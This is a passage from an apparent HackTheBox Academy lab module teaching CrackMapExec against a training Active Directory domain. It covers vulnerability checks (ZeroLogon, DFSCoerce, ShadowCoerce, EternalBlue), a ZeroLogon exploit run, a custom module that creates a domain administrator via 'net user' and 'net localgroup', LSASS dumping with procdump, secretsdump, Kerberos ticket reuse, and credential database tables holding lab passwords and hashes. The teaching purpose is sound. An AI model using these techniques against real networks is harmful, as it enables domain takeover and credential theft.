KEEPASS_... 10.129.203.121 445 DC01 Notes : None
KEEPASS_... 10.129.203.121 445 DC01 Password :
ForNewDCAnew92Pas#$$
KEEPASS_... 10.129.203.121 445 DC01 Title : Administrator
KEEPASS_... 10.129.203.121 445 DC01 URL : None
KEEPASS_... 10.129.203.121 445 DC01 UserName :
Administrator
<SNIP>
Note: The module may have issues while printing the password. We may get an error, but
the password will be in the /tmp/export.xml file, so we can get it manually.
If the machine we want to connect doesn't have RDP enabled, we can use the module RDP
to allow it. We need to specify the option ACTION followed by enable or disable.
Enabling RDP
There are a few more modules in SMB . We can use the -L option to see the complete list of
modules.
crackmapexec smb -L
Next Steps
In the following section, we will look at other SMB modules that leverage known
vulnerabilities, such as ZeroLogon.
To gain access to the domain, we will use what we learned in the Proxychains with CME
section and establish a connection with Chisel:
ZeroLogon
An unauthenticated attacker can exploit the ZeroLogon vulnerability (CVE-2020-1472) with
network access to a domain controller. It needs to start a vulnerable Netlogon session to
abuse this vulnerability and eventually take control of the domain. Since connecting to a
Domain Controller is the only prerequisite for a successful exploit, the vulnerability is severe.
noPAC
The exploit of the noPAC vulnerability allowed the escalation of privileges of a regular
domain user to a domain administrator. The proof of concept (PoC) was released on GitHub.
DFSCoerce
Filip Dragovic published a proof of concept (PoC) for an NTLM relay attack named
DFSCoerce. The method leverages the Distributed File System: Namespace Management
Protocol (MS-DFSNM) to seize control of a Windows domain.
This attack requires a domain user, and we can use the CrackMapExec module dfscoerce
to identify if a DC is vulnerable. To check this vulnerability, we will use the account
carole.holmes with password Y3t4n0th3rP4ssw0rd .
ShadowCoerce
ShadowCoerce was discovered and first detailed by security researcher Lionel Gilles in late
2021 at the end of a presentation showcasing the PetitPotam attack. Charlie Bromberg
created a proof of concept (PoC).
Let's use the carole.holmes account to check if the DC is vulnerable to this attack using
the CrackMapExec module shadowcoerce .
Most authors of vulnerability scanning modules did not include a message if the computer is
not vulnerable, so we do not see anything after the command is executed. However, if we
check the source code of the shadowcoerse module, located at (
./CrackMapExec/cme/modules/shadowcoerce.py ), we will see that the author included
some debug logs with ( logging.debug ). If we run CrackMapExec in debug mode, it will
print those logs.
To run CrackMapExec in debug mode, we can use the option --verbose before the
protocol.
DEBUG:root:Passed args:
{'aesKey': None,
'amsi_bypass': None,
'clear_obfscripts': False,
'codec': 'utf-8',
'computers': None,
'connectback_host': None,
'content': False,
'continue_on_success': False,
'cred_id': [],
'darrell': False,
'depth': None,
'disks': False,
'domain': None,
'enabled': False,
'exclude_dirs': '',
'exec_method': None,
'execute': None,
'export': None,
'fail_limit': None,
'force_ps32': False,
'gen_relay_list': None,
'get_file': None,
'gfail_limit': None,
'groups': None,
'hash': [],
'jitter': None,
'kdcHost': None,
'kerberos': False,
'laps': None,
'list_modules': False,
'local_auth': False,
'local_groups': None,
'loggedon_users': False,
<SNIP>
'wmi': None,
'wmi_namespace': 'root\\cimv2'}
DEBUG:asyncio:Using selector: EpollSelector
DEBUG Using selector: EpollSelector
DEBUG:root:Running
DEBUG Running
DEBUG:root:Started thread poller
DEBUG Started thread poller
SMB 172.16.10.3 445 DC01 [*] Windows Server
2016 Standard 14393 x64 (name:DC01) (domain:INLANEFREIGHT.HTB)
(signing:True) (SMBv1:True)
DEBUG:root:add_credential(credtype=plaintext, domain=INLANEFREIGHT,
username=carole.holmes, password=Y3t4n0th3rP4ssw0rd, groupid=None,
pillaged_from=None) => None
DEBUG add_credential(credtype=plaintext, domain=INLANEFREIGHT,
username=carole.holmes, password=Y3t4n0th3rP4ssw0rd, groupid=None,
pillaged_from=None) => None
SMB 172.16.10.3 445 DC01 [+]
INLANEFREIGHT.HTB\carole.holmes:Y3t4n0th3rP4ssw0rd
DEBUG:root:Connecting to ncacn_np:172.16.10.3[\PIPE\FssagentRpc]
DEBUG Connecting to ncacn_np:172.16.10.3[\PIPE\FssagentRpc]
DEBUG:root:Something went wrong, check error status => SMB SessionError:
STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
DEBUG Something went wrong, check error status => SMB SessionError:
STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
DEBUG:root:Connected!
DEBUG Connected!
DEBUG:root:Binding to a8e0653c-2744-4389-a61d-7373df8b2292
DEBUG Binding to a8e0653c-2744-4389-a61d-7373df8b2292
DEBUG:root:Something went wrong, check error status => SMB SessionError:
STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or
function.)
DEBUG Something went wrong, check error status => SMB SessionError:
STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or
function.)
DEBUG:root:Successfully bound!
DEBUG Successfully bound!
DEBUG:root:ipsc = False
DEBUG ipsc = False
DEBUG:root:Using the default IsPathSupported
DEBUG Using the default IsPathSupported
DEBUG:root:Sending IsPathSupported!
DEBUG Sending IsPathSupported!
DEBUG:root:Something went wrong, check error status => SMB SessionError:
STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or
function.)
DEBUG Something went wrong, check error status => SMB SessionError:
STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or
function.)
DEBUG:root:Attack may of may not have worked, check your listener...
DEBUG Attack may of may not have worked, check your listener...
DEBUG:root:Target not vulnerable to ShadowCoerce
DEBUG Target not vulnerable to ShadowCoerce
DEBUG:root:Stopped thread poller
DEBUG Stopped thread poller
The lines that start with DEBUG correspond to logging.debug . We can see in the last lines
it indicates that the target is not vulnerable.
MS17-010 (EternalBlue)
MS17-010, aka EternalBlue, is a security patch for Windows operating systems released by
Microsft on March 14, 2017. The patch is for a critical unauthenticated remote code
execution flaw in the SMB service. To learn more about this vulnerability, we can read the
Microsoft Security Bulletin MS17-010 - Critical.
Exploiting a Vulnerability
We have seen many vulnerabilities. Let's try to exploit one of them: ZeroLogon. Let's go to
the link provided by the module https://github.com/dirkjanm/CVE-2020-1472 and use it:
Exploiting ZeroLogon
Result: 0
Exploit complete!
We can also try to exploit other vulnerabilities, but we must reset the target machine before
exploiting it.
Next Steps
As time goes by, new vulnerabilities will appear, and these may be added as modules to
CrackMapExec by industry experts or by us. In the next section, we will see how we can
create a module for CrackMapExec.
We have used many built-in CrackMapExec modules created by the authors and the
community. This section will explore how we can do our module for CrackMapExec.
Now we can open the code with our favorite IDE. In this section, we will use VSCode. To
install VSCode, we need to download the .deb file from their website. The direct download
link is here.
wget "https://code.visualstudio.com/sha/download?build=stable&os=linux-
deb-x64" -O vscode.deb -q
sudo dpkg -i vscode.deb
code
Create Our New Module
Let's create our module. We will build a simple script that will create a new administrator
account.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# from .... import ....
class CMEModule:
name = 'name_module'
description = "description"
supported_protocols = ['smb','mssql', 'etc']
opsec_safe = True
multiple_hosts = True
# command = ''
# context.log.info('Executing command')
# p = connection.execute(command, True)
#context.log.highlight(p)
name is how we will call the module name. In this case, we will use the filename
createadmin .
description is a short description for the module purpose. We will set it as Create a
new administrator account .
supported_protocols is an array of the protocol supported to use the module. We will
only use SMB .
opsec_safe is a True or False value meaning that the module is safe to run.
multiple_hosts means we can run this module against multiple targets.
We will also have the method options() , which is used to define variables for the module.
In this case, we will include two options, USER and PASS . Each option can have its default
value or not. That's up to the author. We will set the default value for USER as plaintext
and the default value for PASS as HackTheBoxCME! . We also added a check to confirm if the
module option USER o PASS is empty. If that's the case, it will exit.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# from .... import ....
class CMEModule:
'''
Created to teach HackTheBox Academy students how to create a
module for CrackMapExec
Reference: https://academy.hackthebox.com/
Module by @juliourena
'''
name = 'createadmin'
description = "Create a new administrator account"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
self.user = "plaintext"
if 'USER' in module_options:
if module_options['USER'] == "":
context.log.error('Invalid value for USER option!')
exit(1)
self.user = module_options['USER']
self.password = "HackTheBoxCME1337!"
if 'PASS' in module_options:
if module_options['PASS'] == "":
context.log.error('Invalid value for PASS option!')
exit(1)
self.password = module_options['PASS']
1. Next, we will work with the execution using the method on_admin_login() . This
method is responsible for taking our variables and executing any task we want to the
targets. We will use the context.log.info and context.log.highlight methods as
output (they have different colors).
For this execution, we will run a cmd.exe command using the method's
connection.execute(command, True) . Our command will be saved in the variable
command with the value net user username password /add /Y to add a new user and the
value net localgroup administrators username /add to add the user to the group
administrators.
...SNIP...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class CMEModule:
'''
Created to teach HackTheBox Academy students how to create a
module for CrackMapExec
Reference: https://academy.hackthebox.com/
Module by @juliourena
'''
name = 'createadmin'
description = "Create a new administrator account"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
self.user = "plaintext"
if 'USER' in module_options:
if module_options['USER'] == "":
context.log.error('Invalid value for USER option!')
exit(1)
self.user = module_options['USER']
self.password = "HackTheBoxCME1337!"
if 'PASS' in module_options:
if module_options['PASS'] == "":
context.log.error('Invalid value for PASS option!')
exit(1)
self.password = module_options['PASS']
We have our first module working, but it could be much better. We could split the execution
into two commands and show an error if the user is already created or the password does
not comply with the policies.
We can also take the value from context.log.highlight(p) and show something different
if there is an error. What are your ideas to improve this code?
There will always be different ways of doing things. Explore what you would change in this
module and how you would do it better. Further customizing this module is a great place to
start creating your own modules.
For example, the module procdump.py saves the procdump.exe executable as a Base64
string, then converts the Base64 string to a file and keeps it in the target operating system. It
executes the command tasklist to retrieve the process id of LSASS , save it to a variable,
and passes the process id as an argument to the execution of procdump.exe.
We can also look at other examples for other protocols, such as MSSQL , to create new
modules.
To make a pull request, we can follow the GitHub guide and contribute to CrackMapExec.
Next Steps
In the following sections, we will discuss some bonus topics for CrackMapExec usage, such
as IPv6, Kerberos Authentication, and mastering the CrackMapExec database.
Audit mode
IPv6 support
The completion percentage when attacking multiple devices
Audit Mode
In version 5.3.0, a new mode was added: the audit mode. This mode replaces the password
or hash with a character of our preference or even our favorite emoji. This feature helps to
avoid blurting the screenshot when writing a customer report.
To configure the audit mode, we need to edit the configuration file located by default in
~/.cme/cme.conf and modify the audit_mode parameter with the character of our
preference. That character will replace the password or hash when running CrackMapExec.
We will use the # character for this example.
cat ~/.cme/cme.conf
[CME]
workspace = default
last_used_db = mssql
pwn3d_label = Pwn3d!
audit_mode = #
<SNIP>
We can now run it and see that the password is replaced in the output with ######## .
crackmapexec smb 10.129.203.121 -u robert -p Inlanefreight01!
SMB 10.129.203.121 445 MS01 [*] Windows 10.0 Build
17763 x64 (name:MS01) (domain:inlanefreight.htb) (signing:False)
(SMBv1:False)
SMB 10.129.203.121 445 MS01 [+]
inlanefreight.htb\robert:######## (Pwn3d!)
As we can see, the password in the run result is replaced by the # character. However, the
command shows the password. For these cases, it is ideal to save the password in a file
before executing the desired command.
IPv6 Support
Another capability of CrackMapExec is that it supports communication over IPv6. Most
organizations have IPv6 enabled by default even if they do not use it, and it is even possible
that IPv6 is less monitored or understood at the log level than IPv4. This creates an
opportunity for network attacks to be carried out and go undetected.
As we saw in the popular modules section, CrackMapExec allows us to identify the IPv6 of
the computers with the get_netconnections module. Let's use this module and then try to
execute the command through IPv6.
Completion Percent
You can now press enter while a scan is running, and CME will give you a completion
percentage and the number of hosts remaining to scan. We are attacking one host at at time
in the module lab, but once you find a more extensive network, you will most likely use this
feature. For now, let's run the option --shares and hit enter before its finishes.
Completion Percent
Kerberos Authentication
At the time of writing, CrackMapEec supports Kerberos Authentication for the SMB , LDAP ,
and MSSQL protocols. There are two (2) ways of using Kerberos Authentication:
1. Using the KRB5CCNAME env name to specify the ccache file. The Pass the Ticket (PtT)
from Linux section in the Password Attacks academy module discusses using Kerberos
from Linux.
2. Starting in CrackMapExec 5.4.0, we no longer need to use the KRB5CCNAME
environment variable with a ticket for Kerberos authentication. We can use a username
and password or username and hash.
An essential element to consider when using Kerberos authentication in Linux is that the
computer we are attacking needs to resolve the FQDN of the domain and the target
machine. If we are in an internal network, we can configure our computer to make domain
name resolutions to the company's DNS, but this is not the case. We cannot configure the
DNS, and we will need to add, manually the FQDN for the domain controller and our target
machine in the /etc/hosts file.
cat /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 cyberspace
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.203.121 dc01.inlanefreight.htb dc01 inlanefreight inlanefreight.htb
Let's try using CrackMapExec with Kerberos authentication.
Kerberos Authentication
As we can see, we have three different errors, as Kerbrute CrackMapExec sends TGT
requests with no pre-authentication if the KDC responds with a
KDC_ERR_C_PRINCIPAL_UNKNOWN error, the username does not exist. However, if the KDC
prompts for pre-authentication, it will respond with a KDC_ERR_PREAUTH_FAILED error,
meaning that the username exists. Finally, if we see an error account vulnerable to
asreproast attack , it's susceptible to AESREPoast attacks, as we previously see in the
section Finding AESREPRoast Accounts.
This does not cause login failures, so it will not lock out any accounts, but it will generate a
Windows event ID 4768 if Kerberos logging is enabled.
secretsdump.py
INLANEFREIGHT.HTB/julio:[email protected]
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth
Corporation
<SNIP>
<SNIP>
In most cases, Linux machines store Kerberos tickets as ccache files, the way the systems
use the tickets is through the environment variable KRB5CCNAME , which indicates the path of
the ccache file. Let's generate a ticket (ccache file) for the user robert and authenticate to
DC01 .
To generate the ticket, we will use the impacket tool getTGT.py and set the environment
variable KRB5CCNAME to the path of the ccache file generated by getTGT.py .
export KRB5CCNAME=$(pwd)/robert.ccache
To use Kerberos Authentication with the MSSQL protocol, we need to specify the computer
name or FQDN as a target instead of the IP address. This is because, behind the scenes,
the MSSQL protocol doesn't convert the IP to the FQDN, but the SMB and LDAP protocols do.
We can execute any module or option with Kerberos authentication as we did with
usernames and passwords.
Next Steps
We learned how to use Kerberos Authentication with CrackMapExec. In the following
section, we will interact with the CrackMapExec database cmedb .
CME automatically stores all used/dumped credentials (along with other information) in its
SQLite database, set up on the first run. All workspaces and relative databases are stored in
~/.cme/workspaces . The default databases are located at ~/.cme/workspaces/default .
This directory has an SQLite file for each protocol.
ls ~/.cme/workspaces/default/
CMEDB
cmedb
Workspaces
The default workspace name is called default (as represented within the prompt). Once a
workspace is selected, everything that we do in CME will be stored in that workspace. To
create a workspace, we need to go to the root of the command prompt cmedb (default)
> . If we are in the protocol database, we need to use the command back .
Creating a Workspace
cmedb
cmedb (default)(smb) > back
cmedb (default) > workspace create inlanefreight
[*] Creating workspace 'inlanefreight'
[*] Initializing FTP protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
cmedb (inlanefreight) >
To list workspaces, we can use workspace list , and to switch workspace, we type
workspace <workspace> .
Protocol Options
smb back creds exit export groups hosts import shares
mssql back creds exit export hosts import
ldap back exit export import
winrm back exit export import
rdp back exit export import
ftp back exit export import
ssh back exit export import
To access a protocol's database, run proto <protocol> . Within the protocol, we can use
the option help to display the available options:
Undocumented commands:
======================
back creds exit export groups hosts import shares
Protocol Options
Every time we use the SMB or MSSQL protocol, the credentials, the hosts we attack, the
shares we access, and the groups we enumerate are stored in the CrackMapExec database.
Let's access the data we have in the database.
Displaying Credentials
The CrackMapExec database stores all the credentials we have used or obtained using
CrackMapExec. This database stores the type of credential, whether plaintext or hash, the
domain, username, and password. To see the credentials for the SMB protocol, we need to
use the option creds within the protocol.
cmedb
cmedb (default)(smb) > creds
+Credentials---------+-----------+-----------------+----------------------
----+-------------------------------------------------------------------+
| CredID | Admin On | CredType | Domain | UserName
| Password |
+--------+-----------+-----------+-----------------+----------------------
----+-------------------------------------------------------------------+
| 1 | 0 Host(s) | plaintext | INLANEFREIGHT | peter
| Password123 |
| 2 | 2 Host(s) | plaintext | INLANEFREIGHT | robert
| Inlanefreight01! |
| 3 | 0 Host(s) | plaintext | INLANEFREIGHT | grace
| Inlanefreight01! |
| 4 | 4 Host(s) | plaintext | INLANEFREIGHT | julio
| Password1 |
<SNIP>
+Credentials---------+-----------+---------------+----------+-------------
---------------------+
| CredID | Admin On | CredType | Domain | UserName | Password
|
+--------+-----------+-----------+---------------+----------+-------------
---------------------+
| 4 | 4 Host(s) | plaintext | INLANEFREIGHT | julio | Password1
|
| 26 | 0 Host(s) | hash | INLANEFREIGHT | julio |
64f12cddaa88057e06a81b54e73b949b |
+--------+-----------+-----------+---------------+----------+-------------
---------------------+
As you see, we can also query specific users by adding a username after creds . We can
also list all hashes with the option creds hash or all plaintext credentials with the option
creds plaintext .
+Credentials---------+----------+---------------+--------------------+----
---------------------------------------------------------------+
| CredID | Admin On | CredType | Domain | UserName |
Password |
+--------+-----------+----------+---------------+--------------------+----
---------------------------------------------------------------+
<SNIP>
<SNIP>
+--------+-----------+----------+---------------+--------------------+----
---------------------------------------------------------------+
+Credentials---------+-----------+-----------------+----------------------
----+----------------------------------+
| CredID | Admin On | CredType | Domain | UserName
| Password |
+--------+-----------+-----------+-----------------+----------------------
----+----------------------------------+
| 1 | 0 Host(s) | plaintext | INLANEFREIGHT | peter
| Password123 |
| 2 | 2 Host(s) | plaintext | INLANEFREIGHT | robert
| Inlanefreight01! |
| 3 | 0 Host(s) | plaintext | INLANEFREIGHT | grace
| Inlanefreight01! |
<SNIP>
+--------+-----------+-----------+-----------------+----------------------
----+----------------------------------+
MSSQL credentials are saved in the MSSQL protocol and can be displayed as we display
SMB credentials.
cmedb
cmedb (default)(smb) > back
cmedb (default) > proto mssql
cmedb (default)(mssql) > creds
+Credentials---------+-----------+---------------+---------------+--------
--------------------------+
| CredID | Admin On | CredType | Domain | UserName |
Password |
+--------+-----------+-----------+---------------+---------------+--------
--------------------------+
| 1 | 0 Host(s) | plaintext | DC01 | nicole |
Database2 |
<SNIP>
Note: If we see the Domain field with a computer, it means that we are using an MSSQL
account.
Using Credentials
We can also use credentials IDs from the database to execute CrackMapExec. We need to
identify the credentials we want to use and determine which id is associated with the
account. Let's use julio's credentials with id 4. To use a credential id instead of a username
and password, we need to use the option -id <CredID> .
Hosts Information
For MSSQL and SMB , we can also identify the computers to which we have gained access,
their IP, domain, and operating system.
Displaying Hosts
cmedb
cmedb (default)(smb) > hosts
+Hosts---+-----------+--------------------------------+-----------------+-
----------------+--------------------------+-------+---------+
| HostID | Admins | IP | Hostname |
Domain | OS | SMBv1 | Signing |
+--------+-----------+--------------------------------+-----------------+-
----------------+--------------------------+-------+---------+
| 1 | 1 Cred(s) | 10.129.203.121 | DC01 |
INLANEFREIGHT | Windows 10.0 Build 17763 | 0 | 1 |
| 2 | 3 Cred(s) | 10.129.204.23 | MS01 |
INLANEFREIGHT | Windows 10.0 Build 17763 | 0 | 0 |
<SNIP>
Share Information
The CME database also stores the shared folders we have identified, and it tells us if we
have users with read and write access. To access the shares information, we need to use
the option shares within the SMB protocol in cmedb.
Retrieving Shares
cmedb
cmedb (default)(smb) > shares
+---------+----------+------------------+---------------------------------
------------+-------------+--------------+
| ShareID | computer | Name | Remark
| Read Access | Write Access |
+---------+----------+------------------+---------------------------------
------------+-------------+--------------+
| 1 | DC01 | ADMIN$ | Remote Admin
| 0 User(s) | 0 Users |
| 2 | DC01 | C$ | Default share
| 0 User(s) | 0 Users |
| 3 | DC01 | carlos |
| 0 User(s) | 0 Users |
<SNIP>
cmedb
cmedb (default)(smb) > creds add
[!] Format is 'add domain username password
cmedb (default)(smb) > creds add INLANEFREIGHT john Password3
cmedb (default)(smb) > creds
+Credentials---------+-----------+-----------------+----------------------
----+-------------------------------------------------------------------+
| CredID | Admin On | CredType | Domain | UserName
| Password |
+--------+-----------+-----------+-----------------+----------------------
----+-------------------------------------------------------------------+
<SNIP>
cmedb
cmedb (default)(smb) > creds remove
[!] Format is 'remove <credID>'
cmedb (default)(smb) > creds 45
+Credential(s)-------+----------------------+---------------+----------+--
---------+
| CredID | CredType | Pillaged From HostID | Domain | UserName |
Password |
+--------+-----------+----------------------+---------------+----------+--
---------+
| 45 | plaintext | None | INLANEFREIGHT | john |
Password3 |
+--------+-----------+----------------------+---------------+----------+--
---------+
<SNIP>
+Credentials--------+----------+--------+----------+----------+
| CredID | Admin On | CredType | Domain | UserName | Password |
+--------+----------+----------+--------+----------+----------+
cmedb
cmedb (default)(smb) > import empire
[-] Unable to connect to Empire's RESTful API server:
HTTPSConnectionPool(host='127.0.0.1', port=1337): Max retries exceeded
with url: /api/admin/login (Caused by
NewConnectionError('<urllib3.connection.HTTPSConnection object at
0x7f5d248fabe0>: Failed to establish a new connection: [Errno 111]
Connection refused'))
Note: Make sure to configure Empire if you want to use this feature.
cat detailed_local_admins.csv
"id";"userid";"computer"
"1";"INLANEFREIGHT/julio";"DC01"
"2";"INLANEFREIGHT/julio";"MS01"
<SNIP>
Data is exported as a CSV file. We can open it using tools such as LibreOffice or Excel.
Next Steps
We learned how to use cmedb , where it is located, and how we can manipulate its contents.
Keep in mind that this database may hold confidential information. It is recommended that
this information be monitored appropriately and secured to prevent the information it
contains from being exposed.
In the next section, we will practice everything we learned and try to compromise an Active
Directory domain with only CrackMapExec.
Optional Exercises
Challenge your understanding of the Module content and answer the optional
question(s) below. These are considered supplementary content and are not
required to complete the Module. You can reveal the answer at any time to check
your work.
Don't forget to modify the /etc/proxychains.conf file to match the port you choose to use
with Chisel.
Once you start the target system, replace the example IP 10.129.204.182 with your target
IP.
Note: The Chisel server is already running on the target machine. If you have problems
connecting, wait 1 or 2 minutes and try again.
Good luck!